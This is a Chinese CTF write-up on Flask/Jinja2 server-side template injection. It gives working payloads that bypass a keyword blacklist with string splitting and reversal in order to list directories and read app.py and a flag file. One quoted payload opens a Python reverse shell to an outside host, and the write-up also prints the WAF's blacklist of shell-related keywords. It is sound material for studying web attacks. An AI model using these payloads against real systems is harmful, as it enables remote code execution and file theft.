考点
flask的ssti模板注入
ssti模板注入绕过
ping码的生成
信息收集
开局给了加密解密和提示 提示让我们努力尝试(好像没有用
然后在解密那乱输入发现debug开启了
然后就看见了部分源码
大概就是text参数绕过waf就可以执行代码了
用{{6+6}}加密解密得到12确定存在ssti模板注入
参考知识
在jinja2中 控制结构
{% %}
变量取值{{ }}
python魔法方法与属性
__class__ 返回调用的参数类型
__bases__ 返回基类列表
__mro__ 此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__() 返回字典的列表
__globals__ 以字典的形式返回函数所在的全局命名空间所定义的全局变量与func_globals等价
__builtins__ 内建模块的引用,在任何地方都是可见的(包括全局),每个Python脚本都会自动加载,这个模块包括了很多强大的built-in函数,例如eval,exec,open等等
具体过程
先读完整的app.py方便绕过waf
参考Templates Injections的payload
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}
{%endif%}{% endfor %}
改成
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__name__=='catch_warnings' %}
{{ x.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}{% endfor %}
换成一行
{% for x in [].__class__.__base__.__subclasses__() %}{% if x.__name__=='catch_warnings' %}{{ x.__init__.__globals__['__builtins__'].open('app.py').read() }}{% endif %}{% endfor %}
得到一坨
waf
def waf(str):
black_list = [&
#34;flag","os","system",&
#34;popen","import","eval",&
#34;chr","request", "subprocess",&
#34;commands","socket","hex",&
#34;base64","*","?"
]
for x in black_list :
if x in str.lower() : return 1@app.route('/hint',methods=['GET'])
知道了些关键字另外还会将字符转小写,所以不能用lower或者base64、hex绕过,但可以字符串拼接绕过 用listdir方法查看当前目录文件
{% for x in [].__class__.__base__.__subclasses__() %}{% if x.__name__=='catch_warnings' %}{{ x.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
得到
['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app']
看见this_is_the_flag.txt 再拼接用open读取
{% for x in [].__class__.__base__.__subclasses__() %}{% if x.__name__=='catch_warnings' %}{{ x.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt').read()}}{% endif %}{% endfor %}
就来咯
倒叙输出绕过
txt.galf_eht_si_siht/’[::-1] 将字符倒转输出
就是this_is_the_flag.txt
{% for x in [].__class__.__base__.__subclasses__() %}{% if x.__name__=='catch_warnings' %}{{ x.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1]).read()}}{% endif %}{% endfor %}
利用PIN码进行RCE
这个我还没做出来 先留着 有点小问题在计算pin码上
好了开摆